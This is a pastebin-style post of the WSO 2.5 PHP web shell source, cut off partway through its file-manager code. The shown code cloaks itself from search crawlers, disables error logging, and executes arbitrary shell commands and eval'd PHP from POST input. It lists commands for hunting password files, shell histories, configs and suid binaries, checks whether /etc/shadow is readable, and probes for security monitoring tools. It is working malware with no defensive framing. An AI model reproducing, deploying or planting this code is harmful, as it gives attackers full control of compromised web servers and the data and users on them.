· 9 years ago · Nov 22, 2016, 10:54 PM
1
2<?php
3$color = "#df5";
4$default_action = 'FilesMan';
5$default_use_ajax = true;
6$default_charset = 'Windows-1251';
7
8if (!empty($_SERVER['HTTP_USER_AGENT']))
9 {
10 $userAgents = array(
11 "Google",
12 "Slurp",
13 "MSNBot",
14 "ia_archiver",
15 "Yandex",
16 "Rambler"
17 );
18 if (preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT']))
19 {
20 header('HTTP/1.0 404 Not Found');
21 exit;
22 }
23 }
24
25@ini_set('error_log', NULL);
26@ini_set('log_errors', 0);
27@ini_set('max_execution_time', 0);
28@set_time_limit(0);
29@set_magic_quotes_runtime(0);
30@define('WSO_VERSION', '2.5');
31
32if (get_magic_quotes_gpc())
33 {
34 function WSOstripslashes($array)
35 {
36 return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
37 }
38
39 $_POST = WSOstripslashes($_POST);
40 $_COOKIE = WSOstripslashes($_COOKIE);
41 }
42
43function wsoLogin()
44 {
45 die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");
46 }
47
48function WSOsetcookie($k, $v)
49 {
50 $_COOKIE[$k] = $v;
51 setcookie($k, $v);
52 }
53
54if (!empty($auth_pass))
55 {
56 if (isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass)) WSOsetcookie(md5($_SERVER['HTTP_HOST']) , $auth_pass);
57 if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) ]) || ($_COOKIE[md5($_SERVER['HTTP_HOST']) ] != $auth_pass)) wsoLogin();
58 }
59
60if (strtolower(substr(PHP_OS, 0, 3)) == "win") $os = 'win';
61 else $os = 'nix';
62$safe_mode = @ini_get('safe_mode');
63
64if (!$safe_mode) error_reporting(0);
65$disable_functions = @ini_get('disable_functions');
66$home_cwd = @getcwd();
67
68if (isset($_POST['c'])) @chdir($_POST['c']);
69$cwd = @getcwd();
70
71if ($os == 'win')
72 {
73 $home_cwd = str_replace("\\", "/", $home_cwd);
74 $cwd = str_replace("\\", "/", $cwd);
75 }
76
77if ($cwd[strlen($cwd) - 1] != '/') $cwd.= '/';
78
79if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'])) $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;
80
81if ($os == 'win') $aliases = array(
82 "List Directory" => "dir",
83 "Find index.php in current dir" => "dir /s /w /b index.php",
84 "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
85 "Show active connections" => "netstat -an",
86 "Show running services" => "net start",
87 "User accounts" => "net user",
88 "Show computers" => "net view",
89 "ARP Table" => "arp -a",
90 "IP Configuration" => "ipconfig /all"
91);
92 else $aliases = array(
93 "List dir" => "ls -lha",
94 "list file attributes on a Linux second extended file system" => "lsattr -va",
95 "show opened ports" => "netstat -an | grep -i listen",
96 "process status" => "ps aux",
97 "Find" => "",
98 "find all suid files" => "find / -type f -perm -04000 -ls",
99 "find suid files in current dir" => "find . -type f -perm -04000 -ls",
100 "find all sgid files" => "find / -type f -perm -02000 -ls",
101 "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
102 "find config.inc.php files" => "find / -type f -name config.inc.php",
103 "find config* files" => "find / -type f -name \"config*\"",
104 "find config* files in current dir" => "find . -type f -name \"config*\"",
105 "find all writable folders and files" => "find / -perm -2 -ls",
106 "find all writable folders and files in current dir" => "find . -perm -2 -ls",
107 "find all service.pwd files" => "find / -type f -name service.pwd",
108 "find service.pwd files in current dir" => "find . -type f -name service.pwd",
109 "find all .htpasswd files" => "find / -type f -name .htpasswd",
110 "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
111 "find all .bash_history files" => "find / -type f -name .bash_history",
112 "find .bash_history files in current dir" => "find . -type f -name .bash_history",
113 "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
114 "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
115 "Locate" => "",
116 "locate httpd.conf files" => "locate httpd.conf",
117 "locate vhosts.conf files" => "locate vhosts.conf",
118 "locate proftpd.conf files" => "locate proftpd.conf",
119 "locate psybnc.conf files" => "locate psybnc.conf",
120 "locate my.conf files" => "locate my.conf",
121 "locate admin.php files" => "locate admin.php",
122 "locate cfg.php files" => "locate cfg.php",
123 "locate conf.php files" => "locate conf.php",
124 "locate config.dat files" => "locate config.dat",
125 "locate config.php files" => "locate config.php",
126 "locate config.inc files" => "locate config.inc",
127 "locate config.inc.php" => "locate config.inc.php",
128 "locate config.default.php files" => "locate config.default.php",
129 "locate config* files " => "locate config",
130 "locate .conf files" => "locate '.conf'",
131 "locate .pwd files" => "locate '.pwd'",
132 "locate .sql files" => "locate '.sql'",
133 "locate .htpasswd files" => "locate '.htpasswd'",
134 "locate .bash_history files" => "locate '.bash_history'",
135 "locate .mysql_history files" => "locate '.mysql_history'",
136 "locate .fetchmailrc files" => "locate '.fetchmailrc'",
137 "locate backup files" => "locate backup",
138 "locate dump files" => "locate dump",
139 "locate priv files" => "locate priv"
140);
141
142function wsoHeader()
143 {
144 if (empty($_POST['charset'])) $_POST['charset'] = $GLOBALS['default_charset'];
145 global $color;
146 echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION . "</title> <style> body{background-color:#444;color:#e1e1e1;} body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; } table.info{ color:#fff;background-color:#222; } span,h1,a{ color: $color !important; } span{ font-weight: bolder; } h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; } div.content{ padding: 5px;margin-left:5px;background-color:#333; } a{ text-decoration:none; } a:hover{ text-decoration:underline; } .ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; } .bigarea{ width:100%;height:300px; } input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; } form{ margin:0px; } #toolsTbl{ text-align:center; } .toolsInp{ width: 300px } .main th{text-align:left;background-color:#5e5e5e;} .main tr:hover{background-color:#5e5e5e} .l1{background-color:#444} .l2{background-color:#333} pre{font-family:Courier,Monospace;} </style> <script> var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "'; var a_ = '" . htmlspecialchars(@$_POST['a']) . "' var charset_ = '" . htmlspecialchars(@$_POST['charset']) . "'; var p1_ = '" . ((strpos(@$_POST['p1'], "\n") !== false) ? '' : htmlspecialchars($_POST['p1'], ENT_QUOTES)) . "'; var p2_ = '" . ((strpos(@$_POST['p2'], "\n") !== false) ? '' : htmlspecialchars($_POST['p2'], ENT_QUOTES)) . "'; var p3_ = '" . ((strpos(@$_POST['p3'], "\n") !== false) ? '' : htmlspecialchars($_POST['p3'], ENT_QUOTES)) . "'; var d = document; function set(a,c,p1,p2,p3,charset) { if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_; if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_; if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_; if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_; if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_; if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_; } function g(a,c,p1,p2,p3,charset) { set(a,c,p1,p2,p3,charset); d.mf.submit(); } function a(a,c,p1,p2,p3,charset) { set(a,c,p1,p2,p3,charset); var params = 'ajax=true'; for(i=0;i<d.mf.elements.length;i++) params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value); sr('" . addslashes($_SERVER['REQUEST_URI']) . "', params); } function sr(url, params) { if (window.XMLHttpRequest) req = new XMLHttpRequest(); else if (window.ActiveXObject) req = new ActiveXObject('Microsoft.XMLHTTP'); if (req) { req.onreadystatechange = processReqChange; req.open('POST', url, true); req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded'); req.send(params); } } function processReqChange() { if( (req.readyState == 4) ) if(req.status == 200) { var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm'); var arr=reg.exec(req.responseText); eval(arr[2].substr(0, arr[1])); } else alert('Request error!'); } </script> <head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'> <form method=post name=mf style='display:none;'> <input type=hidden name=a> <input type=hidden name=c> <input type=hidden name=p1> <input type=hidden name=p2> <input type=hidden name=p3> <input type=hidden name=charset> </form>";
147 $freeSpace = @diskfreespace($GLOBALS['cwd']);
148 $totalSpace = @disk_total_space($GLOBALS['cwd']);
149 $totalSpace = $totalSpace ? $totalSpace : 1;
150 $release = @php_uname('r');
151 $kernel = @php_uname('s');
152 $explink = 'http://exploit-db.com/search/?action=search&filter_description=';
153 if (strpos('Linux', $kernel) !== false) $explink.= urlencode('Linux Kernel ' . substr($release, 0, 6));
154 else $explink.= urlencode($kernel . ' ' . substr($release, 0, 3));
155 if (!function_exists('posix_getegid'))
156 {
157 $user = @get_current_user();
158 $uid = @getmyuid();
159 $gid = @getmygid();
160 $group = "?";
161 }
162 else
163 {
164 $uid = @posix_getpwuid(posix_geteuid());
165 $gid = @posix_getgrgid(posix_getegid());
166 $user = $uid['name'];
167 $uid = $uid['uid'];
168 $group = $gid['name'];
169 $gid = $gid['gid'];
170 }
171
172 $cwd_links = '';
173 $path = explode("/", $GLOBALS['cwd']);
174 $n = count($path);
175 for ($i = 0; $i < $n - 1; $i++)
176 {
177 $cwd_links.= "<a href='#' onclick='g(\"FilesMan\",\"";
178 for ($j = 0; $j <= $i; $j++) $cwd_links.= $path[$j] . '/';
179 $cwd_links.= "\")'>" . $path[$i] . "/</a>";
180 }
181
182 $charsets = array(
183 'UTF-8',
184 'Windows-1251',
185 'KOI8-R',
186 'KOI8-U',
187 'cp866'
188 );
189 $opt_charsets = '';
190 foreach($charsets as $item) $opt_charsets.= '<option value="' . $item . '" ' . ($_POST['charset'] == $item ? 'selected' : '') . '>' . $item . '</option>';
191 $m = array(
192 'Sec. Info' => 'SecInfo',
193 'Files' => 'FilesMan',
194 'Console' => 'Console',
195 'Sql' => 'Sql',
196 'Php' => 'Php',
197 'String tools' => 'StringTools',
198 'Bruteforce' => 'Bruteforce',
199 'Network' => 'Network'
200 );
201 if (!empty($GLOBALS['auth_pass'])) $m['Logout'] = 'Logout';
202 $m['Self remove'] = 'SelfRemove';
203 $menu = '';
204 foreach($m as $k => $v) $menu.= '<th width="' . (int)(100 / count($m)) . '%">[ <a href="#" onclick="g(\'' . $v . '\',null,\'\',\'\',\'\')">' . $k . '</a> ]</th>';
205 $drives = "";
206 if ($GLOBALS['os'] == 'win')
207 {
208 foreach(range('c', 'z') as $drive)
209 if (is_dir($drive . ':\\')) $drives.= '<a href="#" onclick="g(\'FilesMan\',\'' . $drive . ':/\')">[ ' . $drive . ' ]</a> ';
210 }
211
212 echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br />User:<br />Php:<br />Hdd:<br />Cwd:' . ($GLOBALS['os'] == 'win' ? '<br />Drives:' : '') . '</span></td>' . '<td><nobr>' . substr(@php_uname() , 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br />' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br />' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode'] ? '<font color=red>ON</font>' : '<font color=green><b>OFF</b></font>') . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br />' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' (' . (int)($freeSpace / $totalSpace * 100) . '%)<br />' . $cwd_links . ' ' . wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br />' . $drives . '</td>' . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br /><span>Server IP:</span><br />' . @$_SERVER["SERVER_ADDR"] . '<br /><span>Client IP:</span><br />' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>' . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
213 }
214
215function wsoFooter()
216 {
217 $is_writable = is_writable($GLOBALS['cwd']) ? " <font color='green'>(Writeable)</font>" : " <font color=red>(Not writable)</font>";
218 echo " </div> <table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'> <tr> <td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br /><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=submit value='>>'></form></td> <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br /><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td> </tr><tr> <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br /><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td> <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br /><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td> </tr><tr> <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br /><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td> <td><form method='post' ENCTYPE='multipart/form-data'> <input type=hidden name=a value='FilesMAn'> <input type=hidden name=c value='" . $GLOBALS['cwd'] . "'> <input type=hidden name=p1 value='uploadFile'> <input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'> <span>Upload file:</span>$is_writable<br /><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td> </tr></table></div></body></html>";
219 }
220
221if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid') === false))
222 {
223 function posix_getpwuid($p)
224 {
225 return false;
226 }
227 }
228
229if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid') === false))
230 {
231 function posix_getgrgid($p)
232 {
233 return false;
234 }
235 }
236
237function wsoEx($in)
238 {
239 $out = '';
240 if (function_exists('exec'))
241 {
242 @exec($in, $out);
243 $out = @join("\n", $out);
244 }
245 elseif (function_exists('passthru'))
246 {
247 ob_start();
248 @passthru($in);
249 $out = ob_get_clean();
250 }
251 elseif (function_exists('system'))
252 {
253 ob_start();
254 @system($in);
255 $out = ob_get_clean();
256 }
257 elseif (function_exists('shell_exec'))
258 {
259 $out = shell_exec($in);
260 }
261 elseif (is_resource($f = @popen($in, "r")))
262 {
263 $out = "";
264 while (!@feof($f)) $out.= fread($f, 1024);
265 pclose($f);
266 }
267
268 return $out;
269 }
270
271function wsoViewSize($s)
272 {
273 if (is_int($s)) $s = sprintf("%u", $s);
274 if ($s >= 1073741824) return sprintf('%1.2f', $s / 1073741824) . ' GB';
275 elseif ($s >= 1048576) return sprintf('%1.2f', $s / 1048576) . ' MB';
276 elseif ($s >= 1024) return sprintf('%1.2f', $s / 1024) . ' KB';
277 else return $s . ' B';
278 }
279
280function wsoPerms($p)
281 {
282 if (($p & 0xC000) == 0xC000) $i = 's';
283 elseif (($p & 0xA000) == 0xA000) $i = 'l';
284 elseif (($p & 0x8000) == 0x8000) $i = '-';
285 elseif (($p & 0x6000) == 0x6000) $i = 'b';
286 elseif (($p & 0x4000) == 0x4000) $i = 'd';
287 elseif (($p & 0x2000) == 0x2000) $i = 'c';
288 elseif (($p & 0x1000) == 0x1000) $i = 'p';
289 else $i = 'u';
290 $i.= (($p & 0x0100) ? 'r' : '-');
291 $i.= (($p & 0x0080) ? 'w' : '-');
292 $i.= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x') : (($p & 0x0800) ? 'S' : '-'));
293 $i.= (($p & 0x0020) ? 'r' : '-');
294 $i.= (($p & 0x0010) ? 'w' : '-');
295 $i.= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x') : (($p & 0x0400) ? 'S' : '-'));
296 $i.= (($p & 0x0004) ? 'r' : '-');
297 $i.= (($p & 0x0002) ? 'w' : '-');
298 $i.= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x') : (($p & 0x0200) ? 'T' : '-'));
299 return $i;
300 }
301
302function wsoPermsColor($f)
303 {
304 if (!@is_readable($f)) return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
305 elseif (!@is_writable($f)) return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
306 else return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
307 }
308
309function wsoScandir($dir)
310 {
311 if (function_exists("scandir"))
312 {
313 return scandir($dir);
314 }
315 else
316 {
317 $dh = opendir($dir);
318 while (false !== ($filename = readdir($dh))) $files[] = $filename;
319 return $files;
320 }
321 }
322
323function wsoWhich($p)
324 {
325 $path = wsoEx('which ' . $p);
326 if (!empty($path)) return $path;
327 return false;
328 }
329
330function actionSecInfo()
331 {
332 wsoHeader();
333 echo '<h1>Server security information</h1><div class=content>';
334 function wsoSecParam($n, $v)
335 {
336 $v = trim($v);
337 if ($v)
338 {
339 echo '<span>' . $n . ': </span>';
340 if (strpos($v, "\n") === false) echo $v . '<br />';
341 else echo '<pre class=ml1>' . $v . '</pre>';
342 }
343 }
344
345 wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
346 if (function_exists('apache_get_modules')) wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
347 wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions'] ? $GLOBALS['disable_functions'] : 'none');
348 wsoSecParam('Open base dir', @ini_get('open_basedir'));
349 wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
350 wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
351 wsoSecParam('cURL support', function_exists('curl_version') ? 'enabled' : 'no');
352 $temp = array();
353 if (function_exists('mysql_get_client_info')) $temp[] = "MySql (" . mysql_get_client_info() . ")";
354 if (function_exists('mssql_connect')) $temp[] = "MSSQL";
355 if (function_exists('pg_connect')) $temp[] = "PostgreSQL";
356 if (function_exists('oci_connect')) $temp[] = "Oracle";
357 wsoSecParam('Supported databases', implode(', ', $temp));
358 echo '<br />';
359 if ($GLOBALS['os'] == 'nix')
360 {
361 wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>" : 'no');
362 wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>" : 'no');
363 wsoSecParam('OS version', @file_get_contents('/proc/version'));
364 wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
365 if (!$GLOBALS['safe_mode'])
366 {
367 $userful = array(
368 'gcc',
369 'lcc',
370 'cc',
371 'ld',
372 'make',
373 'php',
374 'perl',
375 'python',
376 'ruby',
377 'tar',
378 'gzip',
379 'bzip',
380 'bzip2',
381 'nc',
382 'locate',
383 'suidperl'
384 );
385 $danger = array(
386 'kav',
387 'nod32',
388 'bdcored',
389 'uvscan',
390 'sav',
391 'drwebd',
392 'clamd',
393 'rkhunter',
394 'chkrootkit',
395 'iptables',
396 'ipfw',
397 'tripwire',
398 'shieldcc',
399 'portsentry',
400 'snort',
401 'ossec',
402 'lidsadm',
403 'tcplodg',
404 'sxid',
405 'logcheck',
406 'logwatch',
407 'sysmask',
408 'zmbscap',
409 'sawmill',
410 'wormscan',
411 'ninja'
412 );
413 $downloaders = array(
414 'wget',
415 'fetch',
416 'lynx',
417 'links',
418 'curl',
419 'get',
420 'lwp-mirror'
421 );
422 echo '<br />';
423 $temp = array();
424 foreach($userful as $item)
425 if (wsoWhich($item)) $temp[] = $item;
426 wsoSecParam('Userful', implode(', ', $temp));
427 $temp = array();
428 foreach($danger as $item)
429 if (wsoWhich($item)) $temp[] = $item;
430 wsoSecParam('Danger', implode(', ', $temp));
431 $temp = array();
432 foreach($downloaders as $item)
433 if (wsoWhich($item)) $temp[] = $item;
434 wsoSecParam('Downloaders', implode(', ', $temp));
435 echo '<br/>';
436 wsoSecParam('HDD space', wsoEx('df -h'));
437 wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
438 echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
439 if (isset($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3']))
440 {
441 $temp = "";
442 for (; $_POST['p2'] <= $_POST['p3']; $_POST['p2']++)
443 {
444 $uid = @posix_getpwuid($_POST['p2']);
445 if ($uid) $temp.= join(':', $uid) . "\n";
446 }
447
448 echo '<br/>';
449 wsoSecParam('Users', $temp);
450 }
451 }
452 }
453 else
454 {
455 wsoSecParam('OS Version', wsoEx('ver'));
456 wsoSecParam('Account Settings', wsoEx('net accounts'));
457 wsoSecParam('User Accounts', wsoEx('net user'));
458 }
459
460 echo '</div>';
461 wsoFooter();
462 }
463
464function actionPhp()
465 {
466 if (isset($_POST['ajax']))
467 {
468 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
469 ob_start();
470 eval($_POST['p1']);
471 $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()) , "\n\r\t\\'\0") . "';\n";
472 echo strlen($temp) , "\n", $temp;
473 exit;
474 }
475
476 if (empty($_POST['ajax']) && !empty($_POST['p1'])) WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
477 wsoHeader();
478 if (isset($_POST['p2']) && ($_POST['p2'] == 'info'))
479 {
480 echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
481 ob_start();
482 phpinfo();
483 $tmp = ob_get_clean();
484 $tmp = preg_replace(array(
485 '!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU',
486 '!td, th {(.*)}!msiU',
487 '!<img[^>]+>!msiU',
488 ) , array(
489 '',
490 '.e, .v, .h, .h th {$1}',
491 ''
492 ) , $tmp);
493 echo str_replace('<h1', '<h2', $tmp) . '</div><br />';
494 }
495
496 echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>' . (!empty($_POST['p1']) ? htmlspecialchars($_POST['p1']) : '') . '</textarea><input type=submit value=Eval style="margin-top:5px">';
497 echo ' <input type=checkbox name=ajax value=1 ' . ($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX</form><pre id=PhpOutput style="' . (empty($_POST['p1']) ? 'display:none;' : '') . 'margin-top:5px;" class=ml1>';
498 if (!empty($_POST['p1']))
499 {
500 ob_start();
501 eval($_POST['p1']);
502 echo htmlspecialchars(ob_get_clean());
503 }
504
505 echo '</pre></div>';
506 wsoFooter();
507 }
508
509function actionFilesMan()
510 {
511 if (!empty($_COOKIE['f'])) $_COOKIE['f'] = @unserialize($_COOKIE['f']);
512 if (!empty($_POST['p1']))
513 {
514 switch ($_POST['p1'])
515 {
516 case 'uploadFile':
517 if (!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name'])) echo "Can't upload file!";
518 break;
519
520 case 'mkdir':
521 if (!@mkdir($_POST['p2'])) echo "Can't create new dir";
522 break;
523
524 case 'delete':
525 function deleteDir($path)
526 {
527 $path = (substr($path, -1) == '/') ? $path : $path . '/';
528 $dh = opendir($path);
529 while (($item = readdir($dh)) !== false)
530 {
531 $item = $path . $item;
532 if ((basename($item) == "..") || (basename($item) == ".")) continue;
533 $type = filetype($item);
534 if ($type == "dir") deleteDir($item);
535 else @unlink($item);
536 }
537
538 closedir($dh);
539 @rmdir($path);
540 }
541
542 if (is_array(@$_POST['f']))
543 foreach($_POST['f'] as $f)
544 {
545 if ($f == '..') continue;
546 $f = urldecode($f);
547 if (is_dir($f)) deleteDir($f);
548 else @unlink($f);
549 }
550
551 break;
552
553 case 'paste':
554 if ($_COOKIE['act'] == 'copy')
555 {
556 function copy_paste($c, $s, $d)
557 {
558 if (is_dir($c . $s))
559 {
560 mkdir($d . $s);
561 $h = @opendir($c . $s);
562 while (($f = @readdir($h)) !== false)
563 if (($f != ".") and ($f != "..")) copy_paste($c . $s . '/', $f, $d . $s . '/');
564 }
565 elseif (is_file($c . $s)) @copy($c . $s, $d . $s);
566 }
567
568 foreach($_COOKIE['f'] as $f) copy_paste($_COOKIE['c'], $f, $GLOBALS['cwd']);
569 }
570 elseif ($_COOKIE['act'] == 'move')
571 {
572 function move_paste($c, $s, $d)
573 {
574 if (is_dir($c . $s))
575 {
576 mkdir($d . $s);
577 $h = @opendir($c . $s);
578 while (($f = @readdir($h)) !== false)
579 if (($f != ".") and ($f != "..")) copy_paste($c . $s . '/', $f, $d . $s . '/');
580 }
581 elseif (@is_file($c . $s)) @copy($c . $s, $d . $s);
582 }
583
584 foreach($_COOKIE['f'] as $f) @rename($_COOKIE['c'] . $f, $GLOBALS['cwd'] . $f);
585 }
586 elseif ($_COOKIE['act'] == 'zip')
587 {
588 if (class_exists('ZipArchive'))
589 {
590 $zip = new ZipArchive();
591 if ($zip->open($_POST['p2'], 1))
592 {
593 chdir($_COOKIE['c']);
594 foreach($_COOKIE['f'] as $f)
595 {
596 if ($f == '..') continue;
597 if (@is_file($_COOKIE['c'] . $f)) $zip->addFile($_COOKIE['c'] . $f, $f);
598 elseif (@is_dir($_COOKIE['c'] . $f))
599 {
600 $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f . '/', FilesystemIterator::SKIP_DOTS));
601 foreach($iterator as $key => $value)
602 {
603 $zip->addFile(realpath($key) , $key);
604 }
605 }
606 }
607
608 chdir($GLOBALS['cwd']);
609 $zip->close();
610 }
611 }
612 }
613 elseif ($_COOKIE['act'] == 'unzip')
614 {
615 if (class_exists('ZipArchive'))
616 {
617 $zip = new ZipArchive();
618 foreach($_COOKIE['f'] as $f)
619 {
620 if ($zip->open($_COOKIE['c'] . $f))
621 {
622 $zip->extractTo($GLOBALS['cwd']);
623 $zip->close();
624 }
625 }
626 }
627 }
628 elseif ($_COOKIE['act'] == 'tar')
629 {
630 chdir($_COOKIE['c']);
631 $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
632 wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
633 chdir($GLOBALS['cwd']);
634 }
635
636 unset($_COOKIE['f']);
637 setcookie('f', '', time() - 3600);
638 break;
639
640 default:
641 if (!empty($_POST['p1']))
642 {
643 WSOsetcookie('act', $_POST['p1']);
644 WSOsetcookie('f', serialize(@$_POST['f']));
645 WSOsetcookie('c', @$_POST['c']);
646 }
647
648 break;
649 }
650 }
651
652 wsoHeader();
653 echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
654 $dirContent = wsoScandir(isset($_POST['c']) ? $_POST['c'] : $GLOBALS['cwd']);
655 if ($dirContent === false)
656 {
657 echo 'Can\'t open this folder!';
658 wsoFooter();
659 return;
660 }
661
662 global $sort;
663 $sort = array(
664 'name',
665 1
666 );
667 if (!empty($_POST['p1']))
668 {
669 if (preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match)) $sort = array(
670 $match[1],
671 (int)$match[2]
672 );
673 }
674
675 echo "<script> function sa() { for(i=0;i<d.files.elements.length;i++) if(d.files.elements[i].type == 'checkbox') d.files.elements[i].checked = d.files.elements[0].checked; } </script> <table width='100%' class='main' cellspacing='0' cellpadding='2'> <form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_" . ($sort[1] ? 0 : 1) . "\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_" . ($sort[1] ? 0 : 1) . "\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_" . ($sort[1] ? 0 : 1) . "\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_" . ($sort[1] ? 0 : 1) . "\")'>Permissions</a></th><th>Actions</th></tr>";
676 $dirs = $files = array();
677 $n = count($dirContent);
678 for ($i = 0; $i < $n; $i++)
679 {
680 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
681 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
682 $tmp = array(
683 'name' => $dirContent[$i],
684 'path' => $GLOBALS['cwd'] . $dirContent[$i],
685 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])) ,
686 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]) ,
687 'size' => @filesize($GLOBALS['cwd'] . $dirContent[$i]) ,
688 'owner' => $ow['name'] ? $ow['name'] : @fileowner($dirContent[$i]) ,
